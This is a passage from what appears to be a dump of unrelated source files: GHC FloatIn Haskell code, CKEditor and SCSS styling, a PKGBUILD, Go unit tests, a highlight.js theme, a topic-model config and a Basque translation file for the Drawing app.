n_alts -- Used in all, don't push\n -- Remember n_alts > 1\n || (n_used_alts > 1 && not (floatIsDupable platform bind))\n -- floatIsDupable: see Note [Duplicating floats]\n\n | otherwise = floatIsCase bind || n_used_alts > 1\n -- floatIsCase: see Note [Floating primops]\n\n new_boxes | drop_here = (insert here_box : fork_boxes)\n | otherwise = (here_box : new_fork_boxes)\n\n new_fork_boxes = zipWithEqual \"FloatIn.sepBinds\" insert_maybe\n fork_boxes used_in_flags\n\n insert :: DropBox -> DropBox\n insert (fvs,drops) = (fvs `unionDVarSet` bind_fvs, bind_w_fvs:drops)\n\n insert_maybe box True = insert box\n insert_maybe box False = box\n\n go _ _ = panic \"sepBindsByDropPoint/go\"\n\n\n{- Note [Duplicating floats]\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nFor case expressions we duplicate the binding if it is reasonably\nsmall, and if it is not used in all the RHSs This is good for\nsituations like\n let x = I# y in\n case e of\n C -> error x\n D -> error x\n E -> ...not mentioning x...\n\nIf the thing is used in all RHSs there is nothing gained,\nso we don't duplicate then.\n-}\n\nfloatedBindsFVs :: FloatInBinds -> FreeVarSet\nfloatedBindsFVs binds = mapUnionDVarSet fbFVs binds\n\nfbFVs :: FloatInBind -> DVarSet\nfbFVs (FB _ fvs _) = fvs\n\nwrapFloats :: FloatInBinds -> CoreExpr -> CoreExpr\n-- Remember FloatInBinds is in *reverse* dependency order\nwrapFloats [] e = e\nwrapFloats (FB _ _ fl : bs) e = wrapFloats bs (wrapFloat fl e)\n\nfloatIsDupable :: Platform -> FloatBind -> Bool\nfloatIsDupable platform (FloatCase scrut _ _ _) = exprIsDupable platform scrut\nfloatIsDupable platform (FloatLet (Rec prs)) = all (exprIsDupable platform . snd) prs\nfloatIsDupable platform (FloatLet (NonRec _ r)) = exprIsDupable platform r\n\nfloatIsCase :: FloatBind -> Bool\nfloatIsCase (FloatCase {}) = True\nfloatIsCase (FloatLet {}) = False\n"} {"text": "/**\n * @license Copyright (c) 2003-2018, CKSource - Frederico Knabben. All rights reserved.\n * For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license\n */\n\nCKEDITOR.plugins.setLang( 'codesnippet', 'id', {\n\tbutton: 'Masukkan potongan kode',\n\tcodeContents: 'Konten kode',\n\temptySnippetError: 'Potongan kode tidak boleh kosong',\n\tlanguage: 'Bahasa',\n\ttitle: 'Potongan kode',\n\tpathName: 'potongan kode'\n} );\n"} {"text": "@import '../shared/scss/_selected_theme_variables.scss';\n.shippingbtn {\n font-size: 1em !important;\n width: 100%;\n border-radius: 0;\n i {\n font-size: 20px;\n color: $white;\n -moz-transform: scaleX(-1);\n -o-transform: scaleX(-1);\n -webkit-transform: scaleX(-1);\n transform: scaleX(-1);\n filter: FlipH;\n -ms-filter: 'FlipH';\n }\n &:hover {\n background-color:darken($theme-main-color, 25) !important;\n }\n}\n\n.landing {\n margin-top: 2rem;\n @media screen and (min-width: 320px) and (max-width: 768px) {\n margin-top: 1rem;\n }\n}\n\n:host {\n ::ng-deep .section-title {\n color: $black;\n text-transform: capitalize;\n font-weight: 600;\n position: absolute;\n }\n ::ng-deep .scrollbar-hidden {\n overflow: hidden !important;\n }\n ::ng-deep .product-tile {\n text-align: center;\n a {\n color: $gray-900;\n img {\n object-fit: scale-down;\n height: 200px;\n width: 100%;\n }\n &:hover {\n text-decoration: none;\n }\n }\n }\n ::ng-deep .product-box {\n border-radius: 5px;\n margin-top: 1rem;\n border: 1px solid transparent;\n @media screen and (min-width: 320px) and (max-width: 768px) {\n margin-right: 1rem;\n border: 1px solid $gray-10;\n }\n &:hover {\n -webkit-box-shadow: 0 1px 0 $gray-10;\n box-shadow: 0 1px 0 $gray-10;\n border-color: $gray-10;\n }\n }\n ::ng-deep.product-tile p {\n margin-bottom: 0px;\n white-space: normal;\n margin-top: 10px;\n }\n ::ng-deep.dropdown-toggle::after {\n vertical-align: 0.055em !important;\n }\n $break-small: 320px;\n @media screen and (min-width: $break-small) and (max-width: 767px) {\n ::ng-deep .section-title {\n font-size: 1.4em;\n }\n }\n}\n"} {"text": "# Maintainer: J. Peter Mugaas <jpmugaas@suddenlink.net>\n\n_realname=iocapture\npkgbase=mingw-w64-python-${_realname}\npkgname=(\"${MINGW_PACKAGE_PREFIX}-python-${_realname}\")\nprovides=(\"${MINGW_PACKAGE_PREFIX}-python3-${_realname}\")\nconflicts=(\"${MINGW_PACKAGE_PREFIX}-python3-${_realname}\")\nreplaces=(\"${MINGW_PACKAGE_PREFIX}-python3-${_realname}\")\npkgver=0.1.2\npkgrel=1\npkgdesc=\"Capture stdout, stderr easily (mingw-w64)\"\narch=('any')\nurl='https://github.com/oinume/iocapture'\nlicense=('MIT')\ndepends=(\"${MINGW_PACKAGE_PREFIX}-python\")\nmakedepends=(\"${MINGW_PACKAGE_PREFIX}-python-setuptools\")\ncheckdepends=(\"${MINGW_PACKAGE_PREFIX}-python-pytest-runner\"\n \"${MINGW_PACKAGE_PREFIX}-python-flexmock\"\n \"${MINGW_PACKAGE_PREFIX}-python-pytest-cov\"\n \"${MINGW_PACKAGE_PREFIX}-python-six\")\noptions=('staticlibs' 'strip' '!debug')\nsource=(\"${_realname}-$pkgver.tar.gz\"::\"https://github.com/oinume/iocapture/archive/$pkgver.tar.gz\")\nsha256sums=('57056d1a99a9c584ae2bb23a1aa855292fd2bcc01a8a6ad5467d7ca2e739d31b')\n\nprepare() {\n cd \"${srcdir}\"\n rm -rf \"python-build-${CARCH}\" | true\n cp -r \"${_realname}-${pkgver}\" \"python-build-${CARCH}\"\n\n # Set version for setuptools_scm\n export SETUPTOOLS_SCM_PRETEND_VERSION=${pkgver}\n}\n\nbuild() {\n cd \"${srcdir}/python-build-${CARCH}\"\n ${MINGW_PREFIX}/bin/python setup.py build\n}\n\ncheck() {\n cd \"${srcdir}/python-build-${CARCH}\"\n ${MINGW_PREFIX}/bin/python setup.py pytest\n}\n\npackage() {\n cd \"${srcdir}/python-build-${CARCH}\"\n\n MSYS2_ARG_CONV_EXCL=\"--prefix=;--install-scripts=;--install-platlib=\" \\\n ${MINGW_PREFIX}/bin/python setup.py install --prefix=${MINGW_PREFIX} \\\n --root=\"${pkgdir}\" --optimize=1 --skip-build\n\n install -Dm644 LICENSE \"${pkgdir}${MINGW_PREFIX}/share/licenses/python-${_realname}/LICENSE\"\n}\n"} {"text": "set -ex\nconda install numpy pyyaml mkl mkl-include setuptools cmake cffi typing\nconda install pytorch torchvision -c pytorch # add cuda90 if CUDA 9\nconda install visdom dominate -c conda-forge # install visdom and dominate\n"} {"text": "---\nfeatures:\n - New squashfs image output format.\n"} {"text": "<refentry xmlns=\"http://docbook.org/ns/docbook\"\n xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n xmlns:xi=\"http://www.w3.org/2001/XInclude\"\n xmlns:src=\"http://nwalsh.com/xmlns/litprog/fragment\"\n xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n version=\"5.0\" xml:id=\"refentry.version.suppress\">\n<refmeta>\n<refentrytitle>refentry.version.suppress</refentrytitle>\n<refmiscinfo class=\"other\" otherclass=\"datatype\">boolean</refmiscinfo>\n</refmeta>\n<refnamediv>\n<refname>refentry.version.suppress</refname>\n<refpurpose>Suppress \"version\" part of refentry \"source\" contents?</refpurpose>\n</refnamediv>\n\n<refsynopsisdiv>\n<src:fragment xml:id=\"refentry.version.suppress.frag\">\n<xsl:param name=\"refentry.version.suppress\">0</xsl:param></src:fragment>\n</refsynopsisdiv>\n\n<refsection><info><title>Description</title></info>\n\n<para>If the value of <parameter>refentry.version.suppress</parameter>\nis non-zero, then during <tag>refentry</tag> metadata gathering, no\n\"version\" data is added to the <tag>refentry</tag> \"source\"\ncontents. Instead (unless\n<parameter>refentry.source.name.suppress</parameter> is also\nnon-zero), only \"source name\" data is added to the \"source\"\ncontents.</para>\n\n<para>If you find that the <tag>refentry</tag> metadata gathering\nmechanism is causing unwanted \"version\" data to show up in your output\n-- for example, in the footer (or possibly header) of a man page --\nthen you might consider setting a non-zero value for\n<parameter>refentry.version.suppress</parameter>.</para>\n\n<para>Note that the terms \"source\", \"source name\", and \"version\" have\nspecial meanings in this context. For details, see the documentation\nfor the <parameter>refentry.source.name.profile</parameter>\nparameter.</para>\n\n</refsection>\n</refentry>\n"} {"text": "// Copyright (c) 2018 Cisco and/or its affiliates.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at:\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage idxvpp\n\nimport (\n\t\"strconv\"\n\t\"testing\"\n\n\t\"github.com/onsi/gomega\"\n\t\"go.ligato.io/cn-infra/v2/logging/logrus\"\n)\n\nconst (\n\tidx1 = 1\n\tidx2 = 2\n\tidx3 = 3\n)\n\nvar (\n\teth0 = \"eth0\"\n\teth1 = \"eth1\"\n\teth2 = \"eth2\"\n)\n\nfunc IndexFactory() (NameToIndexRW, error) {\n\treturn NewNameToIndex(logrus.DefaultLogger(), \"test\", nil), nil\n}\n\nfunc Test01UnregisteredMapsToNothing(t *testing.T) {\n\tGiven(t).NameToIdx(IndexFactory, nil).\n\t\tWhen().Name(eth1).IsDeleted().\n\t\tThen().Name(eth1).MapsToNothing().\n\t\tAnd().Notification(eth1, Write).IsNotExpected()\n}\n\nfunc Test02RegisteredReturnsIdx(t *testing.T) {\n\tGiven(t).NameToIdx(IndexFactory, nil).\n\t\tWhen().Name(eth1).IsAdded(idx1).\n\t\tThen().Name(eth1).MapsTo(idx1).\n\t\tAnd().Notification(eth1, Write).IsExpectedFor(idx1)\n}\n\nfunc Test03RegFirstThenUnreg(t *testing.T) {\n\tGiven(t).NameToIdx(IndexFactory, map[string]uint32{eth1: idx1}).\n\t\tWhen().Name(eth1).IsDeleted().\n\t\tThen().Name(eth1).MapsToNothing().\n\t\tAnd().Notification(eth1, Del).IsExpectedFor(idx1)\n}\n\nfunc Test03Eth0RegPlusEth1Unreg(t *testing.T) {\n\tGiven(t).NameToIdx(IndexFactory, map[string]uint32{eth0: idx1, eth1: idx2}).\n\t\tWhen().Name(eth1).IsDeleted().\n\t\tThen().Name(eth1).MapsToNothing().\n\t\tAnd().Notification(eth1, Del).IsExpectedFor(idx2).\n\t\tAnd().Name(eth0).MapsTo(idx1).\n\t\tAnd().Notification(eth0, Write).IsNotExpected() //because watch is registered after given keyword\n}\n\nfunc Test04RegTwiceSameNameWithDifferentIdx(t *testing.T) {\n\tGiven(t).NameToIdx(IndexFactory, nil).\n\t\tWhen().Name(eth1).IsAdded(idx1).\n\t\tThen().Name(eth1).MapsTo(idx1). //Notif eth1, idx1\n\t\tAnd().Notification(eth1, Write).IsExpectedFor(idx1).\n\t\tWhen().Name(eth1).IsAdded(idx2).\n\t\tThen().Name(eth1).MapsTo(idx2). //Notif eth1, idx1\n\t\tAnd().Notification(eth1, Write).IsExpectedFor(idx2)\n}\n\nconst (\n\tflagKey = \"flag\"\n\tvalsKey = \"vals\"\n)\n\ntype Item struct {\n\tindex uint32\n\tflag bool\n\tvals []string\n}\n\nfunc (item *Item) GetIndex() uint32 {\n\treturn item.index\n}\n\nfunc createIdx(item interface{}) map[string][]string {\n\ttyped, ok := item.(*Item)\n\tif !ok {\n\t\treturn nil\n\t}\n\n\treturn map[string][]string{\n\t\tflagKey: {strconv.FormatBool(typed.flag)},\n\t\tvalsKey: typed.vals,\n\t}\n}\n\nfunc TestIndexedMetadata(t *testing.T) {\n\tgomega.RegisterTestingT(t)\n\tidxm := NewNameToIndex(logrus.DefaultLogger(), \"title\", createIdx)\n\n\tres := idxm.ListNames(flagKey, \"true\")\n\tgomega.Expect(res).To(gomega.BeNil())\n\n\titem1 := &Item{\n\t\tindex: idx1,\n\t\tflag: true,\n\t\tvals: []string{\"abc\", \"def\", \"xyz\"},\n\t}\n\titem2 := &Item{\n\t\tindex: idx2,\n\t\tflag: false,\n\t\tvals: []string{\"abc\", \"klm\", \"opq\"},\n\t}\n\titem3 := &Item{\n\t\tindex: idx3,\n\t\tflag: true,\n\t\tvals: []string{\"jkl\"},\n\t}\n\n\tidxm.Put(eth0, item1)\n\tidxm.Put(eth1, item2)\n\tidxm.Put(eth2, item3)\n\n\tres = idxm.ListNames(flagKey, \"false\")\n\tgomega.Expect(res).NotTo(gomega.BeNil())\n\tgomega.Expect(res[0]).To(gomega.BeEquivalentTo(eth1))\n\n\tres = idxm.ListNames(flagKey, \"true\")\n\tgomega.Expect(len(res)).To(gomega.BeEquivalentTo(2))\n\tgomega.Expect(res).To(gomega.ContainElement(string(eth0)))\n\tgomega.Expect(res).To(gomega.ContainElement(string(eth2)))\n\n\tres = idxm.ListNames(valsKey, \"abc\")\n\tgomega.Expect(len(res)).To(gomega.BeEquivalentTo(2))\n\tgomega.Expect(res).To(gomega.ContainElement(string(eth0)))\n\tgomega.Expect(res).To(gomega.ContainElement(string(eth1)))\n\n\tres = idxm.ListNames(valsKey, \"jkl\")\n\tgomega.Expect(len(res)).To(gomega.BeEquivalentTo(1))\n\tgomega.Expect(res[0]).To(gomega.BeEquivalentTo(eth2))\n\n\tidxm.Delete(eth0)\n\tres = idxm.ListNames(flagKey, \"true\")\n\tgomega.Expect(len(res)).To(gomega.BeEquivalentTo(1))\n\tgomega.Expect(res[0]).To(gomega.BeEquivalentTo(eth2))\n\n}\n\nfunc TestOldIndexRemove(t *testing.T) {\n\tgomega.RegisterTestingT(t)\n\tidxm := NewNameToIndex(logrus.DefaultLogger(), \"title\", nil)\n\n\tidxm.Put(eth0, &OnlyIndex{idx1})\n\n\titem, found := idxm.LookupByName(eth0)\n\tgomega.Expect(found).To(gomega.BeTrue())\n\tgomega.Expect(item.GetIndex()).To(gomega.BeEquivalentTo(idx1))\n\n\tname, _, found := idxm.LookupByIndex(idx1)\n\tgomega.Expect(found).To(gomega.BeTrue())\n\tgomega.Expect(name).To(gomega.BeEquivalentTo(eth0))\n\n\tidxm.Put(eth0, &OnlyIndex{idx2})\n\n\titem, found = idxm.LookupByName(eth0)\n\tgomega.Expect(found).To(gomega.BeTrue())\n\tgomega.Expect(item.GetIndex()).To(gomega.BeEquivalentTo(idx2))\n\n\tname, item, found = idxm.LookupByIndex(idx2)\n\tgomega.Expect(found).To(gomega.BeTrue())\n\tgomega.Expect(name).To(gomega.BeEquivalentTo(string(eth0)))\n\tgomega.Expect(item).ToNot(gomega.BeNil())\n\n\tname, item, found = idxm.LookupByIndex(idx1)\n\tgomega.Expect(found).To(gomega.BeFalse())\n\tgomega.Expect(name).To(gomega.BeEquivalentTo(\"\"))\n\tgomega.Expect(item).To(gomega.BeNil())\n}\n\nfunc TestUpdateIndex(t *testing.T) {\n\tgomega.RegisterTestingT(t)\n\tidxm := NewNameToIndex(logrus.DefaultLogger(), \"title\", nil)\n\n\tidxm.Put(eth0, &OnlyIndex{idx1})\n\n\titem, found := idxm.LookupByName(eth0)\n\tgomega.Expect(found).To(gomega.BeTrue())\n\tgomega.Expect(item.GetIndex()).To(gomega.BeEquivalentTo(idx1))\n\n\tsuccess := idxm.Update(eth0, &OnlyIndex{idx2})\n\tgomega.Expect(success).To(gomega.BeTrue())\n\n\titem, found = idxm.LookupByName(eth0)\n\tgomega.Expect(found).To(gomega.BeTrue())\n\tgomega.Expect(item.GetIndex()).To(gomega.BeEquivalentTo(idx2))\n}\n\nfunc TestClearMapping(t *testing.T) {\n\tgomega.RegisterTestingT(t)\n\tidxm := NewNameToIndex(logrus.DefaultLogger(), \"title\", nil)\n\n\tidxm.Put(eth0, &OnlyIndex{idx1})\n\tidxm.Put(eth1, &OnlyIndex{idx2})\n\tidxm.Put(eth2, &OnlyIndex{idx3})\n\n\titem, found := idxm.LookupByName(eth0)\n\tgomega.Expect(found).To(gomega.BeTrue())\n\tgomega.Expect(item.GetIndex()).To(gomega.BeEquivalentTo(idx1))\n\n\titem, found = idxm.LookupByName(eth1)\n\tgomega.Expect(found).To(gomega.BeTrue())\n\tgomega.Expect(item.GetIndex()).To(gomega.BeEquivalentTo(idx2))\n\n\titem, found = idxm.LookupByName(eth2)\n\tgomega.Expect(found).To(gomega.BeTrue())\n\tgomega.Expect(item.GetIndex()).To(gomega.BeEquivalentTo(idx3))\n\n\tidxm.Clear()\n\n\t_, found = idxm.LookupByName(eth0)\n\tgomega.Expect(found).To(gomega.BeFalse())\n\n\t_, found = idxm.LookupByName(eth1)\n\tgomega.Expect(found).To(gomega.BeFalse())\n\n\t_, found = idxm.LookupByName(eth2)\n\tgomega.Expect(found).To(gomega.BeFalse())\n}\n"} {"text": "/*\n\nSchool Book style from goldblog.com.ua (c) Zaripov Yura <yur4ik7@ukr.net>\n\n*/\n\n.hljs {\n\tdisplay: block;\n\toverflow-x: auto;\n\tpadding: 15px 0.5em 0.5em 30px;\n\tfont-size: 11px;\n\tline-height: 16px;\n}\n\npre {\n\tbackground: #f6f6ae url(./school-book.png);\n\tborder-top: solid 2px #d2e8b9;\n\tborder-bottom: solid 1px #d2e8b9;\n}\n\n.hljs-keyword,\n.hljs-selector-tag,\n.hljs-literal {\n\tcolor: #005599;\n\tfont-weight: bold;\n}\n\n.hljs,\n.hljs-subst {\n\tcolor: #3e5915;\n}\n\n.hljs-string,\n.hljs-title,\n.hljs-section,\n.hljs-type,\n.hljs-symbol,\n.hljs-bullet,\n.hljs-attribute,\n.hljs-built_in,\n.hljs-builtin-name,\n.hljs-addition,\n.hljs-variable,\n.hljs-template-tag,\n.hljs-template-variable,\n.hljs-link {\n\tcolor: #2c009f;\n}\n\n.hljs-comment,\n.hljs-quote,\n.hljs-deletion,\n.hljs-meta {\n\tcolor: #e60415;\n}\n\n.hljs-keyword,\n.hljs-selector-tag,\n.hljs-literal,\n.hljs-doctag,\n.hljs-title,\n.hljs-section,\n.hljs-type,\n.hljs-name,\n.hljs-selector-id,\n.hljs-strong {\n\tfont-weight: bold;\n}\n\n.hljs-emphasis {\n\tfont-style: italic;\n}\n"} {"text": "alpha=50\nbeta=0.1\nnum-topics=1000\nnum-docs=298252\nnum-words=101257\nnum-iters=1000\nnum-sampling-threads=60\nnum-table-threads=4\n"} {"text": "# Basque translation of drawing.\n# Copyright (C) 2018-2020 Romain F. T.\n# This file is distributed under the same license as the drawing package.\n# Alexander Gabilondo <alexgabi@disroot.org>, 2020\n#\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: drawing\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2020-09-22 00:36+0200\\n\"\n\"PO-Revision-Date: 2020-08-29 16:24+0200\\n\"\n\"Last-Translator: Alexander Gabilondo <alexgabi@disroot.org>\\n\"\n\"Language-Team: \\n\"\n\"Language: eu\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"X-Generator: Poedit 2.3\\n\"\n\"Plural-Forms: nplurals=2; plural=(n != 1);\\n\"\n\n#: data/com.github.maoschanz.drawing.desktop.in\n#: data/com.github.maoschanz.drawing.appdata.xml.in src/deco_manager.py\n#: src/main.py\nmsgid \"Drawing\"\nmsgstr \"Drawing\"\n\n#: data/com.github.maoschanz.drawing.desktop.in\nmsgid \"Simple drawing utility\"\nmsgstr \"Marrazteko utilitate sinplea\"\n\n#. Icon name, do not translate\n#: data/com.github.maoschanz.drawing.desktop.in\nmsgid \"com.github.maoschanz.drawing\"\nmsgstr \"com.github.maoschanz.drawing\"\n\n#. This is a list of keywords. \"Paint\" should not be translated, the others should. Don't forget the semicolons.\n#: data/com.github.maoschanz.drawing.desktop.in\nmsgid \"Paint;Sketch;Pencil;\"\nmsgstr \"Paint;Zirriborroa;Arkatza;\"\n\n#. Context: answer to \"where do you want to open the image?\"\n#: data/com.github.maoschanz.drawing.desktop.in src/ui/app-menus.ui\n#: src/ui/shortcuts.ui src/ui/win-menus.ui src/window.py\nmsgid \"New Window\"\nmsgstr \"Leiho berria\"\n\n#: data/com.github.maoschanz.drawing.desktop.in src/ui/app-menus.ui\n#: src/ui/headerbar.ui src/ui/headerbar-eos.ui src/ui/toolbar.ui\n#: src/ui/toolbar-symbolic.ui src/ui/win-menus.ui src/ui/window.ui\nmsgid \"New Image\"\nmsgstr \"Irudi berria\"\n\n#: data/com.github.maoschanz.drawing.desktop.in\nmsgid \"Edit Image in Clipboard\"\nmsgstr \"Arbeleko irudia editatu\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"A drawing application for the GNOME desktop\"\nmsgstr \"Marrazteko aplikazioa GNOME mahaigainerako\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"\\\"Drawing\\\" is a basic image editor, supporting PNG, JPEG and BMP file types.\"\nmsgstr \"\"\n\"«Drawing» irudien oinarrizko editorea da, PNG, JPEG eta BMP formaturekin \"\n\"bateragarria.\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"It allows you to draw or edit pictures with tools such as pencil, line or \"\n\"arc (with various options), selection (cut/copy/paste/drag/…), shapes \"\n\"(rectangle, circle, polygon, …), text insertion, resizing, cropping, \"\n\"rotating, …\"\nmsgstr \"\"\n\"Haren bidez irudiak marraztu edo editatu daitezke hainbat tresnen bidez, \"\n\"hala nola arkatza, marra edo arkua, hautatu (ebaki/kopiatu/itsatsi/\"\n\"arrastatu/...), formak (laukizuzena, zirkulua, poligonoa,...), testuaren \"\n\"txertaketa, tamaina aldaketa, , mozketa, biraketa, …\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"It's now possible to remove transparency when saving PNG files too. And \"\n\"there are more color options to replace the transparent pixels.\"\nmsgstr \"\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"A new optional tool named \\\"Points\\\" has been added, it may help captioning \"\n\"pictures.\"\nmsgstr \"\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"Minors bugs to the 'rotate' tool have been fixed.\"\nmsgstr \"\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"Version 0.6 is a major update, with various important changes. The app is \"\n\"more robust and has more tools:\"\nmsgstr \"\"\n\"0.6 bertsioa pisuzko eguneraketa da, aldaketa esanguratsuak dakartzana. \"\n\"Aplikazioa egonkorragoa da eta tresna gehiago ditu:\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"Rectangle selection and freehand selection are now distinct tools, and the \"\n\"'rotate' tool now supports any angle and handles horizontal or vertical \"\n\"flipping.\"\nmsgstr \"\"\n\"Laukizuzena hautatzea eta eskuzko hautaketa tresnak desberdinak dira orain, \"\n\"'biratu' tresnak edozein angelu onartzen du eta horizontalki edo bertikalki \"\n\"iraultzeko aukera ematen du.\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"The numerous tools producing shapes (circle, rectangle, polygon, …), have \"\n\"been merged into a single, more consistent 'shape' tool, along with 'rounded \"\n\"rectangle' and 'ellipse'. Their filling options now include various types of \"\n\"gradients.\"\nmsgstr \"\"\n\"Formak sortzen dituzten tresna ugariak (zirkulua, laukizuzena, \"\n\"poligonoa ...), \\\"forma\\\" tresna koherente bakar batera batu dira, gainera \"\n\"\\\"laukizuzen biribila\\\" eta \\\"elipsea\\\" gehitu dira. Orain betetzeko aukerek \"\n\"gradiente mota desberdinak ditu.\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"The text tool can now write using most system fonts, thus allowing more \"\n\"complex characters to be used (e.g. Asian characters).\"\nmsgstr \"\"\n\"Testu tresnak sistemako letra gehienak erabiliz idatzi dezake, eta horrela, \"\n\"karaktere konplexuagoak erabil daitezke (adibidez, Asiako karaktereak).\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"The 'saturate' tool has been replaced by 'filters', a more powerful tool \"\n\"with several types of blur, color inversion, pixelisation, saturation and \"\n\"transparency.\"\nmsgstr \"\"\n\"'Saturatu' tresnaren ordez 'iragazkiak' tresna jarri da, lausoak, kolorearen \"\n\"alderantziketa, pixelizazioa, saturazioa eta gardentasuna tresna \"\n\"indartsuagoa.\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"A fullscreen mode is now available.\"\nmsgstr \"Orain pantaila osoko modua erabili daiteke.\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"The most prominent new feature is the ability to zoom in (or out) on the \"\n\"image, using the minimap, the touchpad or the mouse wheel.\"\nmsgstr \"\"\n\"Ezaugarri berririk nabarmenena irudia handitzeko (edo txikitzeko) gaitasuna \"\n\"da, mapa txikia, ukipen-area edo saguaren gurpila erabiliz.\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"\"\n\"Version 0.4.14 features several minor bug fixes, and various new \"\n\"translations.\"\nmsgstr \"\"\n\"0.4.14 bertsioak errore txiki batzuen zuzenketa eta itzulpen berriak biltzen \"\n\"ditu.\"\n\n#. This is just my name, do not translate it.\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"Romain F. T.\"\nmsgstr \"Romain F. T.\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"The window and its primary menu\"\nmsgstr \"\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"The selection and the actions associated with it\"\nmsgstr \"\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"Zooming in various shapes\"\nmsgstr \"\"\n\n#: data/com.github.maoschanz.drawing.appdata.xml.in\nmsgid \"The \\\"new image\\\" menu opened\"\nmsgstr \"\"\n\n#: src/ui/app-menus.ui src/ui/preferences.ui src/ui/win-menus.ui\n#: src/preferences.py\nmsgid \"Preferences\"\nmsgstr \"Hobespenak\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui\nmsgid \"Report a bug\"\nmsgstr \"Errore baten berri eman\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui src/ui/win-menus.ui\nmsgid \"Shortcuts\"\nmsgstr \"Laster-teklak\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui src/ui/win-menus.ui\nmsgid \"Help\"\nmsgstr \"Laguntza\"\n\n#: src/ui/app-menus.ui\nmsgid \"About\"\nmsgstr \"Honi buruz\"\n\n#: src/ui/app-menus.ui\nmsgid \"Quit\"\nmsgstr \"Irten\"\n\n#: src/ui/app-menus.ui\nmsgid \"_File\"\nmsgstr \"_Fitxategia\"\n\n#: src/ui/app-menus.ui src/ui/toolbar.ui src/ui/toolbar-symbolic.ui\n#: src/ui/win-menus.ui\nmsgid \"Open an image\"\nmsgstr \"Ireki irudi bat\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui src/ui/win-menus.ui\nmsgid \"New Blank Image\"\nmsgstr \"Irudi zuri berria\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui src/new_image_dialog.py\nmsgid \"New Image With Custom Size\"\nmsgstr \"Tamaina pertsonalizatua duen irudi berria\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui src/ui/win-menus.ui\nmsgid \"New Image From Selection\"\nmsgstr \"Irudi berria hautapenetik\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui src/ui/win-menus.ui\nmsgid \"New Image From Clipboard\"\nmsgstr \"Irudi berri arbelatik\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui\nmsgid \"Reload file\"\nmsgstr \"Birkargatu fitxategia\"\n\n#: src/ui/app-menus.ui src/ui/headerbar-eos.ui src/ui/toolbar.ui\n#: src/ui/toolbar-symbolic.ui src/ui/win-menus.ui src/properties.py\nmsgid \"Image properties\"\nmsgstr \"Irudiaren propietateak\"\n\n#: src/ui/app-menus.ui src/ui/headerbar.ui src/ui/headerbar-eos.ui\n#: src/ui/shortcuts.ui src/ui/toolbar.ui src/ui/toolbar-symbolic.ui\n#: src/ui/win-menus.ui src/saving_manager.py\nmsgid \"Save\"\nmsgstr \"Gorde\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui\n#, fuzzy\nmsgid \"Save without transparency\"\nmsgstr \"Gehitu gardentasuna\"\n\n#: src/ui/app-menus.ui src/ui/headerbar-eos.ui src/ui/win-menus.ui\n#: src/saving_manager.py\nmsgid \"Save as…\"\nmsgstr \"Gorde honela…\"\n\n#: src/ui/app-menus.ui src/ui/selection-manager.ui src/ui/win-menus.ui\n#: src/optionsbars/selection/optionsbar-selection.ui src/tools/ui/selection.ui\nmsgid \"Export as…\"\nmsgstr \"Esportatu honela…\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui\nmsgid \"Copy to clipboard\"\nmsgstr \"\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui\nmsgid \"Print\"\nmsgstr \"Inprimatu\"\n\n#: src/ui/app-menus.ui\nmsgid \"Close Image\"\nmsgstr \"Itxi irudia\"\n\n#: src/ui/app-menus.ui\nmsgid \"Close Window\"\nmsgstr \"Itxi leihoa\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui\nmsgid \"Quit all windows\"\nmsgstr \"Itxi leiho guztiak\"\n\n#: src/ui/app-menus.ui\nmsgid \"_Edit\"\nmsgstr \"_Editatu\"\n\n#: src/ui/app-menus.ui src/ui/headerbar.ui src/ui/headerbar-eos.ui\n#: src/ui/shortcuts.ui src/ui/toolbar.ui 